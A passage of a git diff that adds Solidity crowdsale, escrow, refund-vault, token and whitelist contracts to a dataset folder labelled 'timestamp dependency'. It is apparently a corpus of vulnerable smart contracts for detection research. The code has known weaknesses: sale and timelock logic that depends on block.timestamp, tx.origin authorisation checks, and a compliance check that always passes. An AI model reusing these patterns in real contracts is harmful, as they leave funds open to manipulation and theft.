State.PreFunding) { + + if(!earlyParticipantWhitelist[receiver]) { + throw; + } + } else if(getState() == State.Funding) { + + + } else { + + throw; + } + + uint weiAmount = msg.value; + + + require(tokenAmount != 0); + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + if(pricingStrategy.isPresalePurchase(receiver)) { + presaleWeiRaised = presaleWeiRaised.plus(weiAmount); + } + + + require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)); + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + + return tokenAmount; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) { + return buyTokens(receiver, customerId, pricingStrategy.calculatePrice(msg.value, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals())); + } + + + function calculateTokens(uint256 weisTotal, uint256 pricePerToken) public constant returns(uint tokensTotal) { + + + + + + + uint multiplier = 10 ** token.decimals(); + return weisTotal.times(multiplier)/pricePerToken; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != 0) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) onlyOwner { + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEndsAt(uint time) onlyOwner { + + if(now > time) { + throw; + } + + if(startsAt > time) { + throw; + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function loadRefund() public payable inState(State.Failure) { + if(msg.value == 0) throw; + loadedRefund = loadedRefund.plus(msg.value); + } + + + function refund() public inState(State.Refunding) { + uint256 weiValue = investedAmountOf[msg.sender]; + if (weiValue == 0) throw; + investedAmountOf[msg.sender] = 0; + weiRefunded = weiRefunded.plus(weiValue); + Refund(msg.sender, weiValue); + if (!msg.sender.send(weiValue)) throw; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; + else return State.Failure; + } + + + function setOwnerTestValue(uint val) onlyOwner { + ownerTestValue = val; + } + + + function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner { + earlyParticipantWhitelist[addr] = status; + Whitelisted(addr, status); + } + + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) internal; +} + + + + + + + +library BytesDeserializer { + + + function slice32(bytes b, uint offset) constant returns (bytes32) { + bytes32 out; + + for (uint i = 0; i < 32; i++) { + out |= bytes32(b[offset + i] & 0xFF) >> (i * 8); + } + return out; + } + + + function sliceAddress(bytes b, uint offset) constant returns (address) { + bytes32 out; + + for (uint i = 0; i < 20; i++) { + out |= bytes32(b[offset + i] & 0xFF) >> ((i+12) * 8); + } + return address(uint(out)); + } + + + function slice16(bytes b, uint offset) constant returns (bytes16) { + bytes16 out; + + for (uint i = 0; i < 16; i++) { + out |= bytes16(b[offset + i] & 0xFF) >> (i * 8); + } + return out; + } + + + function slice4(bytes b, uint offset) constant returns (bytes4) { + bytes4 out; + + for (uint i = 0; i < 4; i++) { + out |= bytes4(b[offset + i] & 0xFF) >> (i * 8); + } + return out; + } + + + function slice2(bytes b, uint offset) constant returns (bytes2) { + bytes2 out; + + for (uint i = 0; i < 2; i++) { + out |= bytes2(b[offset + i] & 0xFF) >> (i * 8); + } + return out; + } + + + +} + + + +contract KYCPayloadDeserializer { + + using BytesDeserializer for bytes; + + + + + struct KYCPayload { + + + address whitelistedAddress; + + + uint128 customerId; + + + uint32 minETH; + + + uint32 maxETH; + + + uint256 pricingInfo; + } + + + + function getKYCPayload(bytes dataframe) public constant returns(address whitelistedAddress, uint128 customerId, uint32 minEth, uint32 maxEth, uint256 pricingInfo) { + address _whitelistedAddress = dataframe.sliceAddress(0); + uint128 _customerId = uint128(dataframe.slice16(20)); + uint32 _minETH = uint32(dataframe.slice4(36)); + uint32 _maxETH = uint32(dataframe.slice4(40)); + uint256 _pricingInfo = uint256(dataframe.slice32(44)); + return (_whitelistedAddress, _customerId, _minETH, _maxETH, _pricingInfo); + } + +} + + + +contract KYCPresale is CrowdsaleBase, KYCPayloadDeserializer { + + + uint256 public saleWeiCap; + + + address public signerAddress; + + + event SignerChanged(address signer); + + + event Prepurchased(address investor, uint weiAmount, uint tokenAmount, uint128 customerId, uint256 pricingInfo); + + + event CapUpdated(uint256 newCap); + + + function KYCPresale(address _multisigWallet, uint _start, uint _end, uint _saleWeiCap) CrowdsaleBase(FractionalERC20(address(1)), PricingStrategy(address(0)), _multisigWallet, _start, _end, 0) { + saleWeiCap = _saleWeiCap; + } + + + function buyWithKYCData(bytes dataframe, uint8 v, bytes32 r, bytes32 s) public payable returns(uint tokenAmount) { + + + require(!halted); + + bytes32 hash = sha256(dataframe); + var (whitelistedAddress, customerId, minETH, maxETH, pricingInfo) = getKYCPayload(dataframe); + uint multiplier = 10 ** 18; + address receiver = msg.sender; + uint weiAmount = msg.value; + + + require(ecrecover(hash, v, r, s) == signerAddress); + + + if(getState() == State.PreFunding) { + + require(earlyParticipantWhitelist[receiver]); + } else if(getState() == State.Funding) { + + + } else { + + revert(); + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + + + weiRaised = weiRaised.plus(weiAmount); + + + require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)); + + require(investedAmountOf[msg.sender] >= minETH * multiplier / 10000); + require(investedAmountOf[msg.sender] <= maxETH * multiplier / 10000); + + + require(multisigWallet.send(weiAmount)); + + + Prepurchased(receiver, weiAmount, tokenAmount, customerId, pricingInfo); + + return 0; + } + + + + function setSignerAddress(address _signerAddress) onlyOwner { + signerAddress = _signerAddress; + SignerChanged(signerAddress); + } + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) { + if(weiRaisedTotal > saleWeiCap) { + return true; + } else { + return false; + } + } + + + function isCrowdsaleFull() public constant returns (bool) { + return weiRaised >= saleWeiCap; + } + + + function setWeiCap(uint newCap) public onlyOwner { + saleWeiCap = newCap; + CapUpdated(newCap); + } + + + function assignTokens(address receiver, uint tokenAmount) internal { + revert(); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { + } + + + function getState() public constant returns (State) { + if (block.timestamp < startsAt) { + return State.PreFunding; + } else { + return State.Funding; + } + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10131.sol b/smart_contract_dataset/timestamp dependency/10131.sol new file mode 100644 index 0000000000000000000000000000000000000000..a74eb2e90039fe88ca0669ab5eff7b57420e4651 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10131.sol @@ -0,0 +1,986 @@ +pragma solidity ^0.4.13; + +contract ComplianceService { + function validate(address _from, address _to, uint256 _amount) public returns (bool allowed) { + return true; + } +} + +contract ERC20 { + function balanceOf(address _owner) public constant returns (uint256 balance); + function transfer(address _to, uint256 _amount) public returns (bool success); + function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); + function allowance(address _owner, address _spender) public constant returns (uint256 remaining); + function totalSupply() public constant returns (uint); +} + +contract HardcodedWallets { + + + address public walletFounder1; + address public walletFounder2; + address public walletFounder3; + address public walletCommunityReserve; + address public walletCompanyReserve; + address public walletTeamAdvisors; + address public walletBountyProgram; + + + + + + constructor() public { + + walletFounder1 = 0x5E69332F57Ac45F5fCA43B6b007E8A7b138c2938; + walletFounder2 = 0x852f9a94a29d68CB95Bf39065BED6121ABf87607; + walletFounder3 = 0x0a339965e52dF2c6253989F5E9173f1F11842D83; + + + walletCommunityReserve = 0xB79116a062939534042d932fe5DF035E68576547; + walletCompanyReserve = 0xA6845689FE819f2f73a6b9C6B0D30aD6b4a006d8; + walletTeamAdvisors = 0x0227038b2560dF1abf3F8C906016Af0040bc894a; + walletBountyProgram = 0xdd401Df9a049F6788cA78b944c64D21760757D73; + + } +} + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract System { + using SafeMath for uint256; + + address owner; + + + + + modifier onlyOwner() { + if (msg.sender != owner) { + error('System: onlyOwner function called by user that is not owner'); + } else { + _; + } + } + + + + + function error(string _error) internal { + revert(_error); + + + + } + + + function whoAmI() public constant returns (address) { + return msg.sender; + } + + + function timestamp() public constant returns (uint256) { + return block.timestamp; + } + + + function contractBalance() public constant returns (uint256) { + return address(this).balance; + } + + + constructor() public { + + owner = msg.sender; + + + if(owner == 0x0) error('System constructor: Owner address is 0x0'); + } + + + + + event Error(string _error); + + + event DebugUint256(uint256 _data); + +} + +contract Escrow is System, HardcodedWallets { + using SafeMath for uint256; + + + mapping (address => uint256) public deposited; + uint256 nextStage; + + + address public addressSCICO; + + + address public addressSCTokens; + Tokens public SCTokens; + + + + + + constructor() public { + + uint256 totalSupply = 1350000000 ether; + + + deposited[this] = totalSupply.mul(50).div(100); + deposited[walletCommunityReserve] = totalSupply.mul(20).div(100); + deposited[walletCompanyReserve] = totalSupply.mul(14).div(100); + deposited[walletTeamAdvisors] = totalSupply.mul(15).div(100); + deposited[walletBountyProgram] = totalSupply.mul(1).div(100); + } + + function deposit(uint256 _amount) public returns (bool) { + + if (msg.sender != addressSCICO) { + error('Escrow: not allowed to deposit'); + return false; + } + deposited[this] = deposited[this].add(_amount); + return true; + } + + + function withdraw(address _address, uint256 _amount) public onlyOwner returns (bool) { + if (deposited[_address]<_amount) { + error('Escrow: not enough balance'); + return false; + } + deposited[_address] = deposited[_address].sub(_amount); + return SCTokens.transfer(_address, _amount); + } + + + function fundICO(uint256 _amount, uint8 _stage) public returns (bool) { + if(nextStage !=_stage) { + error('Escrow: ICO stage already funded'); + return false; + } + + if (msg.sender != addressSCICO || tx.origin != owner) { + error('Escrow: not allowed to fund the ICO'); + return false; + } + if (deposited[this]<_amount) { + error('Escrow: not enough balance'); + return false; + } + bool success = SCTokens.transfer(addressSCICO, _amount); + if(success) { + deposited[this] = deposited[this].sub(_amount); + nextStage++; + emit FundICO(addressSCICO, _amount); + } + return success; + } + + + function setMyICOContract(address _SCICO) public onlyOwner { + addressSCICO = _SCICO; + } + + + function setTokensContract(address _addressSCTokens) public onlyOwner { + addressSCTokens = _addressSCTokens; + SCTokens = Tokens(_addressSCTokens); + } + + + function balanceOf(address _address) public constant returns (uint256 balance) { + return deposited[_address]; + } + + + + + + event FundICO(address indexed _addressICO, uint256 _amount); + + +} + +contract RefundVault is HardcodedWallets, System { + using SafeMath for uint256; + + enum State { Active, Refunding, Closed } + + + + + mapping (address => uint256) public deposited; + mapping (address => uint256) public tokensAcquired; + State public state; + + + address public addressSCICO; + + + + + + + modifier onlyICOContract() { + if (msg.sender != addressSCICO) { + error('RefundVault: onlyICOContract function called by user that is not ICOContract'); + } else { + _; + } + } + + + + + + constructor() public { + state = State.Active; + } + + function weisDeposited(address _investor) public constant returns (uint256) { + return deposited[_investor]; + } + + function getTokensAcquired(address _investor) public constant returns (uint256) { + return tokensAcquired[_investor]; + } + + + function deposit(address _investor, uint256 _tokenAmount) onlyICOContract public payable returns (bool) { + if (state != State.Active) { + error('deposit: state != State.Active'); + return false; + } + deposited[_investor] = deposited[_investor].add(msg.value); + tokensAcquired[_investor] = tokensAcquired[_investor].add(_tokenAmount); + + return true; + } + + + function close() onlyICOContract public returns (bool) { + if (state != State.Active) { + error('close: state != State.Active'); + return false; + } + state = State.Closed; + + walletFounder1.transfer(address(this).balance.mul(33).div(100)); + walletFounder2.transfer(address(this).balance.mul(50).div(100)); + walletFounder3.transfer(address(this).balance); + + emit Closed(); + + return true; + } + + + function enableRefunds() onlyICOContract public returns (bool) { + if (state != State.Active) { + error('enableRefunds: state != State.Active'); + return false; + } + state = State.Refunding; + + emit RefundsEnabled(); + + return true; + } + + + function refund(address _investor) onlyICOContract public returns (bool) { + if (state != State.Refunding) { + error('refund: state != State.Refunding'); + return false; + } + if (deposited[_investor] == 0) { + error('refund: no deposit to refund'); + return false; + } + uint256 depositedValue = deposited[_investor]; + deposited[_investor] = 0; + tokensAcquired[_investor] = 0; + _investor.transfer(depositedValue); + + emit Refunded(_investor, depositedValue); + + return true; + } + + + function isRefunding() public constant returns (bool) { + return (state == State.Refunding); + } + + + function setMyICOContract(address _SCICO) public onlyOwner { + require(address(this).balance == 0); + addressSCICO = _SCICO; + } + + + + + + + event Closed(); + + + event RefundsEnabled(); + + + event Refunded(address indexed beneficiary, uint256 weiAmount); +} + +contract Haltable is System { + bool public halted; + + + + modifier stopInEmergency { + if (halted) { + error('Haltable: stopInEmergency function called and contract is halted'); + } else { + _; + } + } + + modifier onlyInEmergency { + if (!halted) { + error('Haltable: onlyInEmergency function called and contract is not halted'); + } { + _; + } + } + + + + + function halt() external onlyOwner { + halted = true; + emit Halt(true, msg.sender, timestamp()); + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + emit Halt(false, msg.sender, timestamp()); + } + + + + event Halt(bool _switch, address _halter, uint256 _timestamp); +} + +contract ICO is HardcodedWallets, Haltable { + + + + Tokens public SCTokens; + RefundVault public SCRefundVault; + Whitelist public SCWhitelist; + Escrow public SCEscrow; + + + uint256 public startTime; + uint256 public endTime; + bool public isFinalized = false; + + uint256 public weisPerBigToken; + uint256 public weisPerEther; + uint256 public tokensPerEther; + uint256 public bigTokensPerEther; + + uint256 public weisRaised; + uint256 public etherHardCap; + uint256 public tokensHardCap; + uint256 public weisHardCap; + uint256 public weisMinInvestment; + uint256 public etherSoftCap; + uint256 public tokensSoftCap; + uint256 public weisSoftCap; + + uint256 public discount; + uint256 discountedPricePercentage; + uint8 ICOStage; + + + + + + + + + + function () payable public { + buyTokens(); + } + + + + function buyTokens() public stopInEmergency payable returns (bool) { + if (msg.value == 0) { + error('buyTokens: ZeroPurchase'); + return false; + } + + uint256 tokenAmount = buyTokensLowLevel(msg.sender, msg.value); + + + if (!SCRefundVault.deposit.value(msg.value)(msg.sender, tokenAmount)) { + revert('buyTokens: unable to transfer collected funds from ICO contract to Refund Vault'); + + + } + + emit BuyTokens(msg.sender, msg.value, tokenAmount); + + return true; + } + + + + + + function buyTokensLowLevel(address _beneficiary, uint256 _weisAmount) private stopInEmergency returns (uint256 tokenAmount) { + if (_beneficiary == 0x0) { + revert('buyTokensLowLevel: _beneficiary == 0x0'); + + + } + if (timestamp() < startTime || timestamp() > endTime) { + revert('buyTokensLowLevel: Not withinPeriod'); + + + } + if (!SCWhitelist.isInvestor(_beneficiary)) { + revert('buyTokensLowLevel: Investor is not registered on the whitelist'); + + + } + if (isFinalized) { + revert('buyTokensLowLevel: ICO is already finalized'); + + + } + + + if (_weisAmount < weisMinInvestment) { + revert('buyTokensLowLevel: Minimal investment not reached. Not enough ethers to perform the minimal purchase'); + + + } + + + if (weisRaised.add(_weisAmount) > weisHardCap) { + revert('buyTokensLowLevel: HardCap reached. Not enough tokens on ICO contract to perform this purchase'); + + + } + + + tokenAmount = _weisAmount.mul(weisPerEther).div(weisPerBigToken); + + + tokenAmount = tokenAmount.mul(100).div(discountedPricePercentage); + + + weisRaised = weisRaised.add(_weisAmount); + + + if (!SCTokens.transfer(_beneficiary, tokenAmount)) { + revert('buyTokensLowLevel: unable to transfer tokens from ICO contract to beneficiary'); + + + } + emit BuyTokensLowLevel(msg.sender, _beneficiary, _weisAmount, tokenAmount); + + return tokenAmount; + } + + + + + + function updateEndTime(uint256 _endTime) onlyOwner public returns (bool) { + endTime = _endTime; + + emit UpdateEndTime(_endTime); + } + + + + function finalize(bool _forceRefund) onlyOwner public returns (bool) { + if (isFinalized) { + error('finalize: ICO is already finalized.'); + return false; + } + + if (weisRaised >= weisSoftCap && !_forceRefund) { + if (!SCRefundVault.close()) { + error('finalize: SCRefundVault.close() failed'); + return false; + } + } else { + if (!SCRefundVault.enableRefunds()) { + error('finalize: SCRefundVault.enableRefunds() failed'); + return false; + } + if(_forceRefund) { + emit ForceRefund(); + } + } + + + uint256 balanceAmount = SCTokens.balanceOf(this); + if (!SCTokens.transfer(address(SCEscrow), balanceAmount)) { + error('finalize: unable to return remaining ICO tokens'); + return false; + } + + if(!SCEscrow.deposit(balanceAmount)) { + error('finalize: unable to return remaining ICO tokens'); + return false; + } + + isFinalized = true; + + emit Finalized(); + + return true; + } + + + function claimRefund() public stopInEmergency returns (bool) { + if (!isFinalized) { + error('claimRefund: ICO is not yet finalized.'); + return false; + } + + if (!SCRefundVault.isRefunding()) { + error('claimRefund: RefundVault state != State.Refunding'); + return false; + } + + + uint256 tokenAmount = SCRefundVault.getTokensAcquired(msg.sender); + emit GetBackTokensOnRefund(msg.sender, this, tokenAmount); + if (!SCTokens.refundTokens(msg.sender, tokenAmount)) { + error('claimRefund: unable to transfer investor tokens to ICO contract before refunding'); + return false; + } + + if (!SCRefundVault.refund(msg.sender)) { + error('claimRefund: SCRefundVault.refund() failed'); + return false; + } + + return true; + } + + function fundICO() public onlyOwner { + if (!SCEscrow.fundICO(tokensHardCap, ICOStage)) { + revert('ICO funding failed'); + } + } + + + + + + + + event BuyTokens(address indexed _purchaser, uint256 _value, uint256 _amount); + + + event BuyTokensOraclePayIn(address indexed _purchaser, address indexed _beneficiary, uint256 _weisAmount, uint256 _tokenAmount); + + + event BuyTokensLowLevel(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount); + + + event Finalized(); + + + event ForceRefund(); + + + + + + event GetBackTokensOnRefund(address _from, address _to, uint256 _amount); + + + event UpdateEndTime(uint256 _endTime); +} + +contract ICOPreSale is ICO { + + constructor(address _SCEscrow, address _SCTokens, address _SCWhitelist, address _SCRefundVault) public { + if (_SCTokens == 0x0) { + revert('Tokens Constructor: _SCTokens == 0x0'); + } + if (_SCWhitelist == 0x0) { + revert('Tokens Constructor: _SCWhitelist == 0x0'); + } + if (_SCRefundVault == 0x0) { + revert('Tokens Constructor: _SCRefundVault == 0x0'); + } + + SCTokens = Tokens(_SCTokens); + SCWhitelist = Whitelist(_SCWhitelist); + SCRefundVault = RefundVault(_SCRefundVault); + + weisPerEther = 1 ether; + + + startTime = timestamp(); + endTime = timestamp().add(24 days); + + + bigTokensPerEther = 7500; + tokensPerEther = bigTokensPerEther.mul(weisPerEther); + + discount = 45; + discountedPricePercentage = 100; + discountedPricePercentage = discountedPricePercentage.sub(discount); + + weisMinInvestment = weisPerEther.mul(1); + + + + + + + + + + etherHardCap = 8067; + tokensHardCap = tokensPerEther.mul(etherHardCap).mul(100).div(discountedPricePercentage); + + weisPerBigToken = weisPerEther.div(bigTokensPerEther); + + weisHardCap = weisPerEther.mul(etherHardCap); + + + etherSoftCap = 750; + weisSoftCap = weisPerEther.mul(etherSoftCap); + + SCEscrow = Escrow(_SCEscrow); + + ICOStage = 0; + } + +} + +contract Tokens is HardcodedWallets, ERC20, Haltable { + + + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + uint256 public _totalSupply; + + + string public name; + string public symbol; + uint8 public decimals; + string public standard = 'H0.1'; + + + uint256 public timelockEndTime; + + + address public addressSCICO; + + + address public addressSCEscrow; + + + address public addressSCComplianceService; + ComplianceService public SCComplianceService; + + + + + modifier notTimeLocked() { + if (now < timelockEndTime && msg.sender != addressSCICO && msg.sender != addressSCEscrow) { + error('notTimeLocked: Timelock still active. Function is yet unavailable.'); + } else { + _; + } + } + + + + + constructor(address _addressSCEscrow, address _addressSCComplianceService) public { + name = "TheRentalsToken"; + symbol = "TRT"; + decimals = 18; + + + _totalSupply = 1350000000 ether; + + timelockEndTime = timestamp().add(45 days); + + addressSCEscrow = _addressSCEscrow; + addressSCComplianceService = _addressSCComplianceService; + SCComplianceService = ComplianceService(addressSCComplianceService); + + + balances[_addressSCEscrow] = _totalSupply; + emit Transfer(0x0, _addressSCEscrow, _totalSupply); + + } + + + function totalSupply() public constant returns (uint) { + + return _totalSupply - balances[address(0)]; + + } + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balances[_owner]; + } + + + function transfer(address _to, uint256 _amount) public notTimeLocked stopInEmergency returns (bool success) { + if (balances[msg.sender] < _amount) { + error('transfer: the amount to transfer is higher than your token balance'); + return false; + } + + if(!SCComplianceService.validate(msg.sender, _to, _amount)) { + error('transfer: not allowed by the compliance service'); + return false; + } + + balances[msg.sender] = balances[msg.sender].sub(_amount); + balances[_to] = balances[_to].add(_amount); + emit Transfer(msg.sender, _to, _amount); + + return true; + } + + + function transferFrom(address _from, address _to, uint256 _amount) public notTimeLocked stopInEmergency returns (bool success) { + if (balances[_from] < _amount) { + error('transferFrom: the amount to transfer is higher than the token balance of the source'); + return false; + } + if (allowed[_from][msg.sender] < _amount) { + error('transferFrom: the amount to transfer is higher than the maximum token transfer allowed by the source'); + return false; + } + + if(!SCComplianceService.validate(_from, _to, _amount)) { + error('transfer: not allowed by the compliance service'); + return false; + } + + balances[_from] = balances[_from].sub(_amount); + balances[_to] = balances[_to].add(_amount); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); + emit Transfer(_from, _to, _amount); + + return true; + } + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + allowed[msg.sender][_spender] = _amount; + emit Approval(msg.sender, _spender, _amount); + + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function refundTokens(address _from, uint256 _amount) public notTimeLocked stopInEmergency returns (bool success) { + if (tx.origin != _from) { + error('refundTokens: tx.origin did not request the refund directly'); + return false; + } + + if (addressSCICO != msg.sender) { + error('refundTokens: caller is not the current ICO address'); + return false; + } + + if (balances[_from] < _amount) { + error('refundTokens: the amount to transfer is higher than your token balance'); + return false; + } + + if(!SCComplianceService.validate(_from, addressSCICO, _amount)) { + error('transfer: not allowed by the compliance service'); + return false; + } + + balances[_from] = balances[_from].sub(_amount); + balances[addressSCICO] = balances[addressSCICO].add(_amount); + emit Transfer(_from, addressSCICO, _amount); + + return true; + } + + + function setMyICOContract(address _SCICO) public onlyOwner { + addressSCICO = _SCICO; + } + + function setComplianceService(address _addressSCComplianceService) public onlyOwner { + addressSCComplianceService = _addressSCComplianceService; + SCComplianceService = ComplianceService(addressSCComplianceService); + } + + + function updateTimeLock(uint256 _timelockEndTime) onlyOwner public returns (bool) { + timelockEndTime = _timelockEndTime; + + emit UpdateTimeLock(_timelockEndTime); + + return true; + } + + + + + + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + + + event Approval(address indexed _owner, address indexed _spender, uint256 _amount); + + + event UpdateTimeLock(uint256 _timelockEndTime); +} + +contract Whitelist is HardcodedWallets, System { + + + mapping (address => bool) public walletsICO; + mapping (address => bool) public managers; + + + function isInvestor(address _wallet) public constant returns (bool) { + return (walletsICO[_wallet]); + } + + + function addInvestor(address _wallet) external isManager returns (bool) { + + if (walletsICO[_wallet]) { + error('addInvestor: this wallet has been previously granted as ICO investor'); + return false; + } + + walletsICO[_wallet] = true; + + emit AddInvestor(_wallet, timestamp()); + return true; + } + + modifier isManager(){ + if (managers[msg.sender] || msg.sender == owner) { + _; + } else { + error("isManager: called by user that is not owner or manager"); + } + } + + + function addManager(address _managerAddr) external onlyOwner returns (bool) { + if(managers[_managerAddr]){ + error("addManager: manager account already exists."); + return false; + } + + managers[_managerAddr] = true; + + emit AddManager(_managerAddr, timestamp()); + } + + + function delManager(address _managerAddr) external onlyOwner returns (bool) { + if(!managers[_managerAddr]){ + error("delManager: manager account not found."); + return false; + } + + delete managers[_managerAddr]; + + emit DelManager(_managerAddr, timestamp()); + } + + + + + event AddInvestor(address indexed _wallet, uint256 _timestamp); + + event AddManager(address indexed _managerAddr, uint256 _timestamp); + + event DelManager(address indexed _managerAddr, uint256 _timestamp); +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10133.sol b/smart_contract_dataset/timestamp dependency/10133.sol new file mode 100644 index 0000000000000000000000000000000000000000..2c43886dc6147e9aa1a481381b45af1bd8677b04 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10133.sol @@ -0,0 +1,499 @@ + + + + +pragma solidity ^0.4.23; + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract System { + using SafeMath for uint256; + + address owner; + + + + + modifier onlyOwner() { + if (msg.sender != owner) { + error('System: onlyOwner function called by user that is not owner'); + } else { + _; + } + } + + + + + function error(string _error) internal { + revert(_error); + + + + } + + + function whoAmI() public constant returns (address) { + return msg.sender; + } + + + function timestamp() public constant returns (uint256) { + return block.timestamp; + } + + + function contractBalance() public constant returns (uint256) { + return address(this).balance; + } + + + constructor() public { + + owner = msg.sender; + + + if(owner == 0x0) error('System constructor: Owner address is 0x0'); + } + + + + + event Error(string _error); + + + event DebugUint256(uint256 _data); + +} + + +contract Haltable is System { + bool public halted; + + + + modifier stopInEmergency { + if (halted) { + error('Haltable: stopInEmergency function called and contract is halted'); + } else { + _; + } + } + + modifier onlyInEmergency { + if (!halted) { + error('Haltable: onlyInEmergency function called and contract is not halted'); + } { + _; + } + } + + + + + function halt() external onlyOwner { + halted = true; + emit Halt(true, msg.sender, timestamp()); + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + emit Halt(false, msg.sender, timestamp()); + } + + + + event Halt(bool _switch, address _halter, uint256 _timestamp); +} + + +contract HardcodedWallets { + + + address public walletFounder1; + address public walletFounder2; + address public walletFounder3; + address public walletCommunityReserve; + address public walletCompanyReserve; + address public walletTeamAdvisors; + address public walletBountyProgram; + + + + + + constructor() public { + + walletFounder1 = 0x5E69332F57Ac45F5fCA43B6b007E8A7b138c2938; + walletFounder2 = 0x852f9a94a29d68CB95Bf39065BED6121ABf87607; + walletFounder3 = 0x0a339965e52dF2c6253989F5E9173f1F11842D83; + + + walletCommunityReserve = 0xB79116a062939534042d932fe5DF035E68576547; + walletCompanyReserve = 0xA6845689FE819f2f73a6b9C6B0D30aD6b4a006d8; + walletTeamAdvisors = 0x0227038b2560dF1abf3F8C906016Af0040bc894a; + walletBountyProgram = 0xdd401Df9a049F6788cA78b944c64D21760757D73; + + } +} + + +contract ERC20 { + function balanceOf(address _owner) public constant returns (uint256 balance); + function transfer(address _to, uint256 _amount) public returns (bool success); + function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); + function allowance(address _owner, address _spender) public constant returns (uint256 remaining); + function totalSupply() public constant returns (uint); +} + + +contract Escrow is System, HardcodedWallets { + using SafeMath for uint256; + + + mapping (address => uint256) public deposited; + uint256 nextStage; + + + address public addressSCICO; + + + address public addressSCTokens; + Tokens public SCTokens; + + + + + + constructor() public { + + uint256 totalSupply = 1350000000 ether; + + + deposited[this] = totalSupply.mul(50).div(100); + deposited[walletCommunityReserve] = totalSupply.mul(20).div(100); + deposited[walletCompanyReserve] = totalSupply.mul(14).div(100); + deposited[walletTeamAdvisors] = totalSupply.mul(15).div(100); + deposited[walletBountyProgram] = totalSupply.mul(1).div(100); + } + + function deposit(uint256 _amount) public returns (bool) { + 